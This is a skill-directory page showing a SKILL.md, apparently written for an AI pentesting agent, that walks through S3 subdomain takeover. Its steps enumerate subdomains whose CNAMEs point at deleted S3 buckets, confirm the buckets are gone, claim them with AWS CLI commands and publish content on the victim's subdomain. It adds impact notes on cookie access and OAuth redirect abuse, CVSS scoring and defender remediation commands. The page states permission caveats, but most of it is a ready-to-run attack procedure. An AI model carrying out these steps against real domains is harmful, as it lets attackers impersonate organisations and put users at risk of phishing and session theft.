Skip to main content

s3-takeover

Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
June 2, 2026 at 17:24
Detected SKILL.md language
English
Stars
5,522
Forks
1,048

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
s3-takeover
description
Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).
metadata
{"subdomain":"cloud","when_to_use":"s3 bucket takeover dangling cname","mitre_attack":["T1584.006","T1583.006"]}
# S3 Subdomain Takeover When a subdomain has a `CNAME` to an S3 hostname (e.g. `assets.example.com → assets-example.s3.amazonaws.com`) but the bucket no longer exists, **anyone can register that bucket name and serve content from the subdomain**. ## 1. Enumerate subdomains pointing at S3 From recon SUMMARY.md, look for any CNAME containing: - `s3.amazonaws.com` - `s3-website-<region>.amazonaws.com` - `s3.<region>.amazonaws.com` - `s3-website.<region>.amazonaws.com` - `<bucket>.s3.<region>.amazonaws.com` - CloudFront/CDN distributions backed by S3 (`.cloudfront.net`) Or run direct: ```bash # Subdomain dump subfinder -d example.com -silent > /tmp/subs.txt # Check CNAMEs for s in $(cat /tmp/subs.txt); do cname=$(dig +short CNAME "$s" 2>/dev/null | head -1) if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then echo "$s -> $cname" fi done > /tmp/s3-candidates.txt ``` ## 2. Verify dangling For each candidate: ```bash # Try to GET the subdomain - look for the S3 "NoSuchBucket" error curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n' grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html # Or query the bucket name directly BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}') aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1 # "NoSuchBucket" / "The specified bucket does not exist" = dangling ``` Decepticon helper: ``` s3_takeover_check("<subdomain>") ``` ## 3. Claim the bucket ```bash # In the SAME region the CNAME implies aws s3api create-bucket \ --bucket "$BUCKET" \ --region us-east-1 \ --create-bucket-configuration LocationConstraint=us-east-1 # (us-east-1 omits the LocationConstraint) ``` **Race conditions**: - AWS sometimes blocks names of recently-deleted buckets (cooldown). If it errors with "BucketAlreadyExists" or "Bucket name reserved", the takeover window has closed (or is gated). - For high-value targets, attempt in different regions — some CNAMEs don't specify region and AWS DNS resolves to whichever region you create the bucket in. ## 4. Demonstrate impact (safe) **Static page proof** (engagement context — get explicit permission first): ```bash echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html aws s3 cp /tmp/index.html "s3://$BUCKET/index.html" aws s3 website "s3://$BUCKET/" --index-document index.html # Now curl https://$SUBDOMAIN/ returns your content ``` DO NOT: - Serve actual exploit content (XSS, drive-by, phishing) - Capture cookies even though you can (same-origin to the org) - Leave the bucket up post-engagement DO: - Take a timestamped screenshot of your benign content served from the subdomain - Hand the bucket name over to defender for transfer / cooldown - Delete the bucket after PoC: `aws s3 rb "s3://$BUCKET" --force` ## 5. Impact framing A claimed S3 bucket on an org subdomain gives: - **Same-origin scripting** vs every page on that subdomain - **Cookie access** for cookies scoped to the parent domain (`.example.com`) - **OAuth redirect_uri** abuse if the subdomain is a registered redirect - **MITM-class trust** — orgs publish links to the subdomain assuming control - **TLS** is "free" via the org's own ACM cert if Route 53 + ACM are configured, otherwise it's an HTTP-only takeover (still bad) ## 6. Promote ``` kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>", props={"severity":"high","bucket":"<bucket>","region":"<region>"}) kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation") ``` ## CVSS - Subdomain with active OAuth flow / cookie scope: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` = 8.7 - Static-content subdomain only: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` = 7.5 - Subdomain with no apparent purpose (unused): Medium 5-6 ## Defender remediation ```bash # Find every S3 CNAME the org publishes aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \ xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \ --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json # Cross-check against existing buckets jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \ while read sd; do bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//') aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket" done ``` ## Known exemplars - 2017: Uber subdomain takeover via S3 → reported via H1, $7.5k - 2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets - 2022: Detectify scan found 350+ Fortune-500 dangling S3 records - Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly
View on GitHub